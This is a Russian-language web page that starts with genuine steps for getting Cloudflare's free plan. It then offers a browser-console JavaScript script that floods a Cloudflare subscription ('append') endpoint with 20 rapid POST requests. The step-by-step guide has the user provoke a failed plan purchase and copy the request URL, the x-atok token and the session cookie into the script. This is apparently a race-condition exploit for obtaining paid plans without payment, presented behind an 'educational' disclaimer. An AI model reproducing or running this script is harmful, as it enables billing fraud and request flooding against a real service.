cfnow.pw

Получите бесплатный план Cloudflare
Cloudflare предлагает щедрый бесплатный план, идеально подходящий для личных сайтов и небольших проектов. Вот как начать:
  1. Регистрация: Перейдите на официальный сайт Cloudflare и создайте аккаунт. сайт Cloudflare
  2. Добавьте свой сайт: Введите домен вашего сайта. Cloudflare проведет вас через процесс.
  3. Выберите бесплатный план: Когда будет предложено, выберите опцию "Бесплатный" план.
  4. Обновите DNS-записи: Cloudflare предоставит новые серверы имен (nameservers). Обновите их в настройках вашего доменного регистратора. Распространение может занять время.
  5. Настройте параметры: После активации изучите панель управления Cloudflare для настройки SSL, безопасности и производительности.
Использование вашего скрипта автоматизации
Этот скрипт автоматизирует отправку нескольких POST-запросов к эндпоинту Cloudflare.

Важное замечание: Этот скрипт предназначен для образовательных целей, для понимания сетевых запросов и автоматизации браузера. Убедитесь, что ваше использование соответствует Условиям обслуживания Cloudflare. Неправомерное использование, такое как чрезмерные запросы, которые могут быть интерпретированы как атака типа "отказ в обслуживании", может привести к ограничению скорости или приостановке действия учетной записи. Используйте ответственно.

Обзор скрипта

Скрипт многократно отправляет определенный HTTP POST-запрос, включая пользовательские заголовки и полезную нагрузку (payload), имитируя взаимодействие браузера с бэкендом Cloudflare.

Скрипт

const url = 'Headers';

const headers = {
'content-type': 'application/json',
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br, zstd',
'accept-language': 'ru-RU,ru;q=0.7',
'origin': 'https://dash.cloudflare.com',
'referer': 'https://dash.cloudflare.com/',
'sec-ch-ua': '"Not(A:Brand";v="99", "Brave";v="133", "Chromium";v="133")',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
'x-atok': 'Request Headers',
'x-cross-site-security': 'dash',
'cookie': 'cookie'
};

const payload = {
// Перейдите на вкладку 'Payload' или...
};

const delay = ms => new Promise(res => setTimeout(res, ms));

(async () => {
for (let i = 0; i < 20; i++) {
    fetch(url, { method: 'POST', headers, body: JSON.stringify(payload) })
        .then(res => console.log(`Flood num ${i}: ${res.status}`))
        .catch(err => console.error(`Flood num ${i} exited:`, err));
    await delay(100);
}
console.log("All reqs sended. Reload page");
})();

Как настроить и использовать

  1. Перейдите в панель Cloudflare: Войдите в свою панель управления Cloudflare и выберите нужный домен.
  2. Откройте инструменты разработчика: В вашем браузере откройте инструменты разработчика (обычно клавишей F12).
  3. Перейдите на вкладку 'Network' (Сеть): В инструментах разработчика выберите вкладку 'Network'.
  4. Спровоцируйте ошибку покупки плана: В панели Cloudflare попытайтесь совершить действие, например, покупку/обновление плана, чтобы намеренно вызвать ошибку (например, из-за 'недостатка средств'). Это поможет изолировать целевой сетевой запрос.
  5. Найдите запрос 'append': На вкладке 'Network' найдите POST-запрос, сгенерированный во время ошибки. Он часто содержит 'append' в URL-адресе или относится к обновлениям подписки.
  6. Скопируйте данные в скрипт:
    • URL запроса (const url): На вкладке 'Headers' (Заголовки) запроса скопируйте 'Request URL'. Вставьте его в скрипт вместо 'your request url from append'.
    • Заголовки (объект headers):
      • 'x-atok': В 'Request Headers' найдите и скопируйте значение 'x-atok'.
      • 'cookie': Найдите и скопируйте всё значение 'cookie'. Это конфиденциальные данные; обращайтесь с осторожностью.
    • Полезная нагрузка (const payload): Перейдите на вкладку 'Payload' или 'Request Body'. Скопируйте необработанные JSON-данные и вставьте их в скрипт вместо комментария-плейсхолдера.
  7. Выполните скрипт в консоли: Переключитесь на вкладку 'Console' в инструментах разработчика, вставьте настроенный скрипт и нажмите Enter.